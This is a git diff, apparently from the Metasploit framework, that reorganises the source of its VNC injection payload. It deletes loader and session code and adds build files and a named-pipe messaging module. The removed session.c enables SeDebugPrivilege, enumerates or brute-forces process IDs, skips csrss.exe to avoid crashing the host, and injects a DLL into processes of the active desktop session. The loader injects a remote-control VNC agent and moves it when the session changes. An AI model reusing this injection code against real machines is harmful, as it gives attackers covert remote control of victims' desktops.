attached to the physical console..." ); - // just try to wait it out... - Sleep( 250 ); - continue; - } - else if( dwActiveSessionId == dwAgentSessionId ) - { - dprintf( "[LOADER] Init. dwActiveSessionId == dwAgentSessionId..." ); - // just try to wait it out... - Sleep( 250 ); - continue; - } - - // do the local process or session injection - if( dwHostSessionId != dwActiveSessionId ) - { - dprintf( "[LOADER] Init. Injecting into active session %d...", dwActiveSessionId ); - if( session_inject( dwActiveSessionId, &VncDllBuffer ) != ERROR_SUCCESS ) - BREAK_WITH_ERROR( "[LOADER] Init. session_inject failed", ERROR_ACCESS_DENIED ); - } - else - { - dprintf( "[LOADER] Init. Allready in the active session %d.", dwActiveSessionId ); - if( ps_inject( GetCurrentProcessId(), &VncDllBuffer ) != ERROR_SUCCESS ) - BREAK_WITH_ERROR( "[LOADER] Init. ps_inject current process failed", ERROR_ACCESS_DENIED ); - } - - dwAgentSessionId = dwActiveSessionId; - - // loop, waiting for either the agents process to die, the remote socket to die or - // the active session to change... - while( TRUE ) - { - HANDLE hEvents[2] = {0}; - DWORD dwWaitResult = 0; - - // wait for these event to be signaled or a timeout to occur... - hEvents[0] = hSocketCloseEvent; - hEvents[1] = hAgentProcess; - dwWaitResult = WaitForMultipleObjects( 2, (HANDLE *)&hEvents, FALSE, 250 ); - - // bail if we have somehow failed (e.g. invalid handle) - if( dwWaitResult == WAIT_FAILED ) - { - dprintf( "[LOADER] Init. WaitForMultipleObjects failed." ); - // if we cant synchronize we bail out... - bTerminate = TRUE; - break; - } - // if we have just timedout, test the current active session... - else if( dwWaitResult == WAIT_TIMEOUT ) - { - // if the agent is still in the active session just continue... - if( dwAgentSessionId == session_activeid() ) - continue; - // if we are not to perform session tracking try and stay in the current session (as it might become the active input session at a later stage) - if( bDisableSessionTracking ) - { - dprintf( "[LOADER] Init. Active session has changed, trying to stay in current session as session tracking disabled..." ); - Sleep( 500 ); - continue; - } - // if the agent is no longer in the active session we signal the agent to terminate - if( !ReleaseMutex( hAgentCloseEvent ) ) - dprintf( "[LOADER] Init. ReleaseMutex 1 hAgentCloseEvent failed. error=%d", GetLastError() ); - dprintf( "[LOADER] Init. Active session has changed. Moving agent into new session..." ); - dwAgentSessionId = 0xFFFFFFFF; - // and we go inject a new agent into the new active session (or terminate if session tracking disabled) - loader_agent_close(); - break; - } - // sanity check the result for an abandoned mutex - else if( (dwWaitResult >= WAIT_ABANDONED_0) && (dwWaitResult <= (WAIT_ABANDONED_0 + 1)) ) - { - dprintf( "[LOADER] Init. WAIT_ABANDONED_0 for %d", dwWaitResult - WAIT_ABANDONED_0 ); - bTerminate = TRUE; - break; - } - else - { - // otherwise if we have an event signaled, handle it - switch( dwWaitResult - WAIT_OBJECT_0 ) - { - case 0: - dprintf( "[LOADER] Init. Remote socket closed, terminating2..." ); - bTerminate = TRUE; - if( !ReleaseMutex( hAgentCloseEvent ) ) - dprintf( "[LOADER] Init. ReleaseMutex 2 hAgentCloseEvent failed. error=%d", GetLastError() ); - ReleaseMutex( hAgentCloseEvent ); - break; - case 1: - dprintf( "[LOADER] Init. Injected agent's process has terminated..." ); - loader_agent_close(); - dwAgentSessionId = 0xFFFFFFFF; - break; - default: - dprintf( "[LOADER] Init. WaitForMultipleObjects returned dwWaitResult=0x%08X", dwWaitResult ); - bTerminate = TRUE; - if( !ReleaseMutex( hAgentCloseEvent ) ) - dprintf( "[LOADER] Init. ReleaseMutex 3 hAgentCloseEvent failed. error=%d", GetLastError() ); - break; - } - } - - // get out of this loop... - break; - } - - } - - } while( 0 ); - - CLOSE_HANDLE( hSocketCloseEvent ); - - loader_agent_close(); - - closesocket( sock ); - - if( hMessageThread ) - TerminateThread( hMessageThread, 0 ); - } - __except( EXCEPTION_EXECUTE_HANDLER ) - { - dprintf( "[LOADER] Init. EXCEPTION_EXECUTE_HANDLER\n\n" ); - } - - dprintf( "[LOADER] Init. Finished." ); - - return dwResult; -} diff --git a/external/source/vncdll/loader/loader.h b/external/source/vncdll/loader/loader.h deleted file mode 100644 index b93ccf9c3e..0000000000 --- a/external/source/vncdll/loader/loader.h +++ /dev/null @@ -1,74 +0,0 @@ -// Copyright (C) 2006-2010, Rapid7 LLC -// All rights reserved. -// -// Redistribution and use in source and binary forms, with or without modification, -// are permitted provided that the following conditions are met: -// -// * Redistributions of source code must retain the above copyright notice, -// this list of conditions and the following disclaimer. -// -// * Redistributions in binary form must reproduce the above copyright notice, -// this list of conditions and the following disclaimer in the documentation -// and/or other materials provided with the distribution. -// -// * Neither the name of Rapid7 LLC nor the names of its contributors -// may be used to endorse or promote products derived from this software -// without specific prior written permission. -// -// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND -// ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED -// WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE -// DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR -// ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES -// (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; -// LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON -// ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS -// SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. -//===============================================================================================// -#ifndef _VNCDLL_LOADER_LOADER_H -#define _VNCDLL_LOADER_LOADER_H -//===============================================================================================// -#define WIN32_LEAN_AND_MEAN -#include -#include -#include -#include -#include - -//#define DEBUGTRACE - -#ifdef DEBUGTRACE -#define dprintf(...) real_dprintf(__VA_ARGS__) -static void real_dprintf(char *format, ...) { - va_list args; - char buffer[1024]; - FILE * fp = fopen("c:\\debug_log_loader.txt","a"); - va_start(args,format); - vsnprintf_s(buffer, sizeof(buffer), sizeof(buffer)-3, format,args); - strcat_s(buffer, sizeof(buffer), "\r\n\x00"); - if(fp) - { - fputs( buffer, fp ); - fclose(fp); - } - OutputDebugString(buffer); -} -#else -#define dprintf(...) do{}while(0); -#endif - -// Simple macro to close a handle and set the handle to NULL. -#define CLOSE_HANDLE( h ) if( h ) { CloseHandle( h ); h = NULL; } - -#define BREAK_ON_ERROR( str ) { dwResult = GetLastError(); dprintf( "%s. error=%d", str, dwResult ); break; } -#define BREAK_WITH_ERROR( str, err ) { dwResult = err; dprintf( "%s. error=%d", str, dwResult ); break; } -#define BREAK_ON_WSAERROR( str ) { dwResult = WSAGetLastError(); dprintf( "%s. error=%d", str, dwResult ); break; } - -#define IDR_VNC_DLL 1 - -typedef DWORD (WINAPI * NTQUERYINFORMATIONPROCESS)( HANDLE ProcessHandle, DWORD ProcessInformationClass, PVOID ProcessInformation, ULONG ProcessInformationLength, PULONG ReturnLength ); - -//===============================================================================================// -#endif -//===============================================================================================// diff --git a/external/source/vncdll/loader/loader.rc b/external/source/vncdll/loader/loader.rc deleted file mode 100644 index 678e8d5576..0000000000 --- a/external/source/vncdll/loader/loader.rc +++ /dev/null @@ -1,6 +0,0 @@ - -#ifdef _X64_ -IDR_VNC_DLL IMG DISCARDABLE "../winvnc/x64/release/vnc.x64.dll" -#else -IDR_VNC_DLL IMG DISCARDABLE "../winvnc/release/vnc.dll" -#endif diff --git a/external/source/vncdll/loader/loader.vcproj b/external/source/vncdll/loader/loader.vcproj deleted file mode 100644 index 79c60dcb46..0000000000 --- a/external/source/vncdll/loader/loader.vcproj +++ /dev/null @@ -1,437 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/external/source/vncdll/loader/ps.h b/external/source/vncdll/loader/ps.h deleted file mode 100644 index 6daab69570..0000000000 --- a/external/source/vncdll/loader/ps.h +++ /dev/null @@ -1,77 +0,0 @@ -// Copyright (C) 2006-2010, Rapid7 LLC -// All rights reserved. -// -// Redistribution and use in source and binary forms, with or without modification, -// are permitted provided that the following conditions are met: -// -// * Redistributions of source code must retain the above copyright notice, -// this list of conditions and the following disclaimer. -// -// * Redistributions in binary form must reproduce the above copyright notice, -// this list of conditions and the following disclaimer in the documentation -// and/or other materials provided with the distribution. -// -// * Neither the name of Rapid7 LLC nor the names of its contributors -// may be used to endorse or promote products derived from this software -// without specific prior written permission. -// -// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND -// ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED -// WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE -// DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR -// ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES -// (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; -// LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON -// ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS -// SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. -//===============================================================================================// -#ifndef _VNCDLL_LOADER_PS_H -#define _VNCDLL_LOADER_PS_H -//===============================================================================================// -#define WIN32_LEAN_AND_MEAN -#include -#include -#include - -typedef HANDLE (WINAPI * CREATETOOLHELP32SNAPSHOT)( DWORD dwFlags, DWORD th32ProcessID ); -typedef BOOL (WINAPI * PROCESS32FIRST)( HANDLE hSnapshot, LPPROCESSENTRY32 lppe ); -typedef BOOL (WINAPI * PROCESS32NEXT)( HANDLE hSnapshot, LPPROCESSENTRY32 lppe ); -typedef void (WINAPI * GETNATIVESYSTEMINFO)( LPSYSTEM_INFO lpSystemInfo ); -typedef BOOL (WINAPI * ISWOW64PROCESS)( HANDLE hProcess, PBOOL Wow64Process ); - -#define PROCESS_ARCH_UNKNOWN 0 -#define PROCESS_ARCH_X86 1 -#define PROCESS_ARCH_X64 2 -#define PROCESS_ARCH_IA64 3 - -//===============================================================================================// - -typedef struct _PROCESS_BASIC_INFORMATION -{ - PVOID Reserved1; - PVOID PebBaseAddress; - PVOID Reserved2[2]; - ULONG_PTR UniqueProcessId; - PVOID Reserved3; -} PROCESS_BASIC_INFORMATION; - -typedef struct _DLL_BUFFER -{ - LPVOID lpPE32DllBuffer; - DWORD dwPE32DllLenght; - LPVOID lpPE64DllBuffer; - DWORD dwPE64DllLenght; -} DLL_BUFFER; - -//===============================================================================================// - -DWORD ps_inject( DWORD dwPid, DLL_BUFFER * pDllBuffer ); - -DWORD ps_getarch( DWORD dwPid ); - -DWORD ps_getnativearch( VOID ); - -//===============================================================================================// -#endif -//===============================================================================================// \ No newline at end of file diff --git a/external/source/vncdll/loader/session.c b/external/source/vncdll/loader/session.c deleted file mode 100644 index 93d60aa471..0000000000 --- a/external/source/vncdll/loader/session.c +++ /dev/null @@ -1,198 +0,0 @@ -#include "loader.h" -#include "session.h" - -/* - * Returns the session id associated with a process. - * Returns -1 if we cant determine the session id (e.g. insufficient privileges). - * Returns 0 by default on NT4. - */ -DWORD session_id( DWORD dwProcessId ) -{ - typedef BOOL (WINAPI * PROCESSIDTOSESSIONID)( DWORD pid, LPDWORD id ); - - static PROCESSIDTOSESSIONID pProcessIdToSessionId = NULL; - HMODULE hKernel = NULL; - DWORD dwSessionId = 0; - - do - { - if( !pProcessIdToSessionId ) - { - hKernel = LoadLibrary( "kernel32.dll" ); - if( hKernel ) - pProcessIdToSessionId = (PROCESSIDTOSESSIONID)GetProcAddress( hKernel, "ProcessIdToSessionId" ); - } - - if( !pProcessIdToSessionId ) - break; - - if( !pProcessIdToSessionId( dwProcessId, &dwSessionId ) ) - dwSessionId = -1; - - } while( 0 ); - - if( hKernel ) - FreeLibrary( hKernel ); - - return dwSessionId; -} - -/* - * Returns the session id attached to the physical console. - * Returns 0 by default on NT4 and 2000. - */ -DWORD session_activeid() -{ - typedef DWORD (WINAPI * WTSGETACTIVECONSOLESESSIONID )( VOID ); - - static WTSGETACTIVECONSOLESESSIONID pWTSGetActiveConsoleSessionId = NULL; - HMODULE hKernel = NULL; - DWORD dwSessionId = 0; - - do - { - if( !pWTSGetActiveConsoleSessionId ) - { - hKernel = LoadLibrary( "kernel32.dll" ); - if( hKernel ) - pWTSGetActiveConsoleSessionId = (WTSGETACTIVECONSOLESESSIONID)GetProcAddress( hKernel, "WTSGetActiveConsoleSessionId" ); - } - - if( !pWTSGetActiveConsoleSessionId ) - break; - - dwSessionId = pWTSGetActiveConsoleSessionId(); - - } while( 0 ); - - if( hKernel ) - FreeLibrary( hKernel ); - - return dwSessionId; -} - -/* - * On NT4 its we bruteforce the process list as kernel32!CreateToolhelp32Snapshot is not available. - */ -DWORD _session_inject_bruteforce( DWORD dwSessionId, DLL_BUFFER * pDllBuffer ) -{ - DWORD dwResult = ERROR_INVALID_HANDLE; - DWORD pid = 0; - - do - { - for( pid=0 ; pid<0xFFFF ; pid++ ) - { - HANDLE hProcess = NULL; - - hProcess = OpenProcess( PROCESS_QUERY_INFORMATION, FALSE, pid ); - if( !hProcess ) - continue; - - CloseHandle( hProcess ); - - if( dwSessionId == session_id( pid ) ) - { - dwResult = ps_inject( pid, pDllBuffer ); - if( dwResult == ERROR_SUCCESS ) - { - dprintf( "[SESSION] _session_inject_bruteforce. Injected into process %d", pid ); - break; - } - } - } - - } while( 0 ); - - return dwResult; -} - -/* - * Inject an arbitrary DLL into a process running in specific Windows session. - */ -DWORD session_inject( DWORD dwSessionId, DLL_BUFFER * pDllBuffer ) -{ - DWORD dwResult = ERROR_INVALID_HANDLE; - CREATETOOLHELP32SNAPSHOT pCreateToolhelp32Snapshot = NULL; - PROCESS32FIRST pProcess32First = NULL; - PROCESS32NEXT pProcess32Next = NULL; - HANDLE hProcessSnap = NULL; - HMODULE hKernel = NULL; - HANDLE hToken = NULL; - BOOL bUseBruteForce = TRUE; - PROCESSENTRY32 pe32 = {0}; - - do - { - // If we can, get SeDebugPrivilege... - if( OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken ) ) - { - TOKEN_PRIVILEGES priv = {0}; - - priv.PrivilegeCount = 1; - priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; - - if( LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid ) ) - { - if( AdjustTokenPrivileges( hToken, FALSE, &priv, 0, NULL, NULL ) ); - dprintf("[SESSION] session_inject. Got SeDebugPrivilege!" ); - } - - CloseHandle( hToken ); - } - - hKernel = LoadLibrary( "kernel32" ); - if( !hKernel ) - break; - - pCreateToolhelp32Snapshot = (CREATETOOLHELP32SNAPSHOT)GetProcAddress( hKernel, "CreateToolhelp32Snapshot" ); - pProcess32First = (PROCESS32FIRST)GetProcAddress( hKernel, "Process32First" ); - pProcess32Next = (PROCESS32NEXT)GetProcAddress( hKernel, "Process32Next" ); - - if( !pCreateToolhelp32Snapshot || !pProcess32First || !pProcess32Next ) - break; - - hProcessSnap = pCreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0 ); - if( hProcessSnap == INVALID_HANDLE_VALUE ) - break; - - pe32.dwSize = sizeof( PROCESSENTRY32 ); - - if( !pProcess32First( hProcessSnap, &pe32 ) ) - break; - - bUseBruteForce = FALSE; - - do - { - if( dwSessionId == session_id( pe32.th32ProcessID ) ) - { - // On Windows 2008R2 we Blue Screen the box if we inject via APC injection - // into the target sessions instance of csrss.exe!!! so we filter it out... - if( strstr( pe32.szExeFile, "csrss.exe" ) ) - continue; - - dwResult = ps_inject( pe32.th32ProcessID, pDllBuffer ); - if( dwResult == ERROR_SUCCESS ) - { - dprintf( "[SESSION] session_inject. Injected into process %d (%s)", pe32.th32ProcessID, pe32.szExeFile ); - break; - } - } - } while( pProcess32Next( hProcessSnap, &pe32 ) ); - - } while( 0 ); - - if( hProcessSnap ) - CloseHandle( hProcessSnap ); - - if( hKernel ) - FreeLibrary( hKernel ); - - // On NT4 we must brute force the process list... - if( bUseBruteForce ) - dwResult = _session_inject_bruteforce( dwSessionId, pDllBuffer ); - - return dwResult; -} - diff --git a/external/source/vncdll/loader/session.h b/external/source/vncdll/loader/session.h deleted file mode 100644 index 7272f9ff0d..0000000000 --- a/external/source/vncdll/loader/session.h +++ /dev/null @@ -1,42 +0,0 @@ -// Copyright (C) 2006-2010, Rapid7 LLC -// All rights reserved. -// -// Redistribution and use in source and binary forms, with or without modification, -// are permitted provided that the following conditions are met: -// -// * Redistributions of source code must retain the above copyright notice, -// this list of conditions and the following disclaimer. -// -// * Redistributions in binary form must reproduce the above copyright notice, -// this list of conditions and the following disclaimer in the documentation -// and/or other materials provided with the distribution. -// -// * Neither the name of Rapid7 LLC nor the names of its contributors -// may be used to endorse or promote products derived from this software -// without specific prior written permission. -// -// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND -// ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED -// WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE -// DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR -// ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES -// (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; -// LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON -// ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS -// SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. -//===============================================================================================// -#ifndef _VNCDLL_LOADER_SESSION_H -#define _VNCDLL_LOADER_SESSION_H -//===============================================================================================// -#include "ps.h" - -DWORD session_id( DWORD dwProcessId ); - -DWORD session_activeid(); - -DWORD session_inject( DWORD dwSessionId, DLL_BUFFER * pDllBuffer ); - -//===============================================================================================// -#endif -//===============================================================================================// \ No newline at end of file diff --git a/external/source/vncdll/make.bat b/external/source/vncdll/make.bat new file mode 100755 index 0000000000..fee7434034 --- /dev/null +++ b/external/source/vncdll/make.bat @@ -0,0 +1,32 @@ +@ECHO OFF +IF "%VCINSTALLDIR%" == "" GOTO NEED_VS + +IF "%1"=="x86" GOTO BUILD_X86 +IF "%1"=="X64" GOTO BUILD_X64 + +ECHO "Building VNCDLL x64 and x86 (Release)" +SET PLAT=all +GOTO RUN + +:BUILD_X86 +ECHO "Building VNCDLL x86 (Release)" +SET PLAT=x86 +GOTO RUN + +:BUILD_X64 +ECHO "Building VNCDLL x64 (Release)" +SET PLAT=x64 +GOTO RUN + +:RUN +PUSHD workspace +msbuild.exe make.msbuild /target:%PLAT% +POPD + +GOTO :END + +:NEED_VS +ECHO "This command must be executed from within a Visual Studio Command prompt." +ECHO "This can be found under Microsoft Visual Studio 2013 -> Visual Studio Tools" + +:END diff --git a/external/source/vncdll/make.msbuild b/external/source/vncdll/make.msbuild new file mode 100755 index 0000000000..ae4ea05084 --- /dev/null +++ b/external/source/vncdll/make.msbuild @@ -0,0 +1,19 @@ + + + + .\vncdll.sln + + + + + + + + + + + + + + + diff --git a/external/source/vncdll/output/vncdll.dll b/external/source/vncdll/output/vncdll.dll deleted file mode 100644 index f0bd4da8a5..0000000000 Binary files a/external/source/vncdll/output/vncdll.dll and /dev/null differ diff --git a/external/source/vncdll/output/vncdll.x64.dll b/external/source/vncdll/output/vncdll.x64.dll deleted file mode 100644 index c8d1ff48d8..0000000000 Binary files a/external/source/vncdll/output/vncdll.x64.dll and /dev/null differ diff --git a/external/source/vncdll/vncdll.sln b/external/source/vncdll/vncdll.sln new file mode 100755 index 0000000000..613b2fcbab --- /dev/null +++ b/external/source/vncdll/vncdll.sln @@ -0,0 +1,37 @@ +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 2013 +VisualStudioVersion = 12.0.21005.1 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "winvnc", "winvnc\WinVNC.vcxproj", "{EA6A09AC-04BB-423D-8842-CA48DF901058}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "vncdll", "vncdll\vncdll.vcxproj", "{B00E0A6D-850E-47CF-A68F-C8C06DD69BAD}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Win32 = Debug|Win32 + Debug|x64 = Debug|x64 + Release|Win32 = Release|Win32 + Release|x64 = Release|x64 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {B00E0A6D-850E-47CF-A68F-C8C06DD69BAD}.Debug|Win32.ActiveCfg = Debug|Win32 + {B00E0A6D-850E-47CF-A68F-C8C06DD69BAD}.Debug|Win32.Build.0 = Debug|Win32 + {B00E0A6D-850E-47CF-A68F-C8C06DD69BAD}.Debug|x64.ActiveCfg = Debug|x64 + {B00E0A6D-850E-47CF-A68F-C8C06DD69BAD}.Debug|x64.Build.0 = Debug|x64 + {B00E0A6D-850E-47CF-A68F-C8C06DD69BAD}.Release|Win32.ActiveCfg = Release|Win32 + {B00E0A6D-850E-47CF-A68F-C8C06DD69BAD}.Release|Win32.Build.0 = Release|Win32 + {B00E0A6D-850E-47CF-A68F-C8C06DD69BAD}.Release|x64.ActiveCfg = Release|x64 + {B00E0A6D-850E-47CF-A68F-C8C06DD69BAD}.Release|x64.Build.0 = Release|x64 + {EA6A09AC-04BB-423D-8842-CA48DF901058}.Debug|Win32.ActiveCfg = Debug|Win32 + {EA6A09AC-04BB-423D-8842-CA48DF901058}.Debug|Win32.Build.0 = Debug|Win32 + {EA6A09AC-04BB-423D-8842-CA48DF901058}.Debug|x64.ActiveCfg = Debug|x64 + {EA6A09AC-04BB-423D-8842-CA48DF901058}.Debug|x64.Build.0 = Debug|x64 + {EA6A09AC-04BB-423D-8842-CA48DF901058}.Release|Win32.ActiveCfg = Release|Win32 + {EA6A09AC-04BB-423D-8842-CA48DF901058}.Release|Win32.Build.0 = Release|Win32 + {EA6A09AC-04BB-423D-8842-CA48DF901058}.Release|x64.ActiveCfg = Release|x64 + {EA6A09AC-04BB-423D-8842-CA48DF901058}.Release|x64.Build.0 = Release|x64 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/external/source/vncdll/vncdll/LICENSE.txt b/external/source/vncdll/vncdll/LICENSE.txt new file mode 100644 index 0000000000..ba5797cfe9 --- /dev/null +++ b/external/source/vncdll/vncdll/LICENSE.txt @@ -0,0 +1,27 @@ +Copyright (C) 2006-2010, Rapid7, Inc +All rights reserved. + +Redistribution and use in source and binary forms, with or without modification, +are permitted provided that the following conditions are met: + + * Redistributions of source code must retain the above copyright notice, + this list of conditions and the following disclaimer. + + * Redistributions in binary form must reproduce the above copyright notice, + this list of conditions and the following disclaimer in the documentation + and/or other materials provided with the distribution. + + * Neither the name of Rapid7, Inc nor the names of its contributors + may be used to endorse or promote products derived from this software + without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND +ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED +WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR +ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES +(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; +LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON +ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS +SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. diff --git a/external/source/vncdll/vncdll/context.c b/external/source/vncdll/vncdll/context.c new file mode 100755 index 0000000000..3d270c14bb --- /dev/null +++ b/external/source/vncdll/vncdll/context.c @@ -0,0 +1,273 @@ +#include "loader.h" +#include "context.h" + +AGENT_CTX AgentContext = {0}; + +/* + * + */ +VOID context_init( VOID ) +{ + memset( &AgentContext, 0, sizeof(AGENT_CTX) ); + + AgentContext.bDisableCourtesyShell = FALSE; + AgentContext.bInit = TRUE; + AgentContext.hCloseEvent = NULL; + AgentContext.dwEncoding = 0; + AgentContext.dwCompressLevel = 6; + AgentContext.dwQualityLevel = -1; + AgentContext.bUseCopyRect = FALSE; + AgentContext.bEncodingRichCursor = FALSE; + AgentContext.bEncodingPointerPos = FALSE; + AgentContext.bEncodingLastRect = FALSE; + AgentContext.bEncodingNewfbSize = FALSE; + AgentContext.bEncodingXCursor = FALSE; + + /*AgentContext.dictionaries[0] = NULL; + AgentContext.dictionaries[1] = NULL; + AgentContext.dictionaries[2] = NULL; + AgentContext.dictionaries[3] = NULL;*/ + + AgentContext.dwPipeName = ( GetTickCount() ^ (DWORD)&AgentContext ); +} + +/* + * Try to read an exact ammount of data from a pipe and return + * when either the data has been read or a failure occurs. + */ +DWORD _readexact( HANDLE hPipe, DWORD dwLength, BYTE * pBuffer ) +{ + DWORD dwTotal = 0; + DWORD dwRead = 0; + + do + { + while( dwTotal < dwLength ) + { + if( !PeekNamedPipe( hPipe, NULL, 0, NULL, &dwRead, NULL ) ) + break; + + if( !dwRead ) + { + Sleep( 50 ); + continue; + } + + if( ReadFile( hPipe, (LPVOID)((LPBYTE)pBuffer + dwTotal), (dwLength - dwTotal), &dwRead, NULL ) ) + dwTotal += dwRead; + } + + } while( 0 ); + + return dwTotal; +} + +/* + * A thread to pick up any messages being posted back to the loader (such as an encoder change in the stream) + */ +DWORD WINAPI context_message_thread( LPVOID lpParameter ) +{ + DWORD dwResult = ERROR_SUCCESS; + HANDLE hServerPipe = NULL; + BYTE * pBuffer = NULL; + char cNamedPipe[MAX_PATH] = {0}; + + __try + { + do + { + _snprintf_s( cNamedPipe, MAX_PATH, MAX_PATH - 1, "\\\\.\\pipe\\%08X", AgentContext.dwPipeName ); + + dprintf("[LOADER] loader_message_thread. cNamedPipe=%s", cNamedPipe ); + + hServerPipe = CreateNamedPipe( cNamedPipe, PIPE_ACCESS_INBOUND, PIPE_TYPE_BYTE|PIPE_READMODE_BYTE|PIPE_WAIT, PIPE_UNLIMITED_INSTANCES, 0, 0, 0, NULL ); + if( !hServerPipe ) + BREAK_ON_ERROR( "[LOADER] loader_message_thread. CreateNamedPipe failed" ); + + while( TRUE ) + { + struct _hdr { + DWORD dwMessage; + DWORD dwLength; + } header = {0}; + DWORD dwTotal = 0; + + if( !ConnectNamedPipe( hServerPipe, NULL ) ) + { + if( GetLastError() != ERROR_PIPE_CONNECTED ) + continue; + } + + dwTotal = _readexact( hServerPipe, 8, (BYTE *)&header ); + if( dwTotal != sizeof( struct _hdr ) ) + BREAK_WITH_ERROR( "[LOADER] loader_message_thread. _readexact header failed", ERROR_INVALID_HANDLE ); + + pBuffer = (BYTE *)malloc( header.dwLength ); + if( !pBuffer ) + BREAK_WITH_ERROR( "[LOADER] loader_message_thread. pBuffer malloc failed", ERROR_INVALID_HANDLE ); + + dwTotal = _readexact( hServerPipe, header.dwLength, pBuffer ); + if( dwTotal != header.dwLength ) + BREAK_WITH_ERROR( "[LOADER] loader_message_thread. _readexact pBuffer failed", ERROR_INVALID_HANDLE ); + + DisconnectNamedPipe( hServerPipe ); + + switch( header.dwMessage ) + { + case MESSAGE_SETENCODING: + if( header.dwLength != sizeof(DWORD) ) + { + dprintf("[LOADER] loader_message_thread. MESSAGE_SETENCODING, not enought data (got %d bytes)", header.dwLength ); + break; + } + AgentContext.dwEncoding = *(DWORD *)pBuffer; + dprintf("[LOADER] loader_message_thread. MESSAGE_SETENCODING, new encoding is %d", AgentContext.dwEncoding ); + break; + case MESSAGE_SETPIXELFORMAT: + if( header.dwLength != sizeof(PIXELFORMAT) ) + { + dprintf("[LOADER] loader_message_thread. MESSAGE_SETPIXELFORMAT, not enought data (got %d bytes)", header.dwLength ); + break; + } + memcpy( &AgentContext.PixelFormat, pBuffer, sizeof(PIXELFORMAT) ); + dprintf("[LOADER] loader_message_thread. MESSAGE_SETPIXELFORMAT" ); + break; + case MESSAGE_SETCOMPRESSLEVEL: + if( header.dwLength != sizeof(DWORD) ) + { + dprintf("[LOADER] loader_message_thread. MESSAGE_SETCOMPRESSLEVEL, not enought 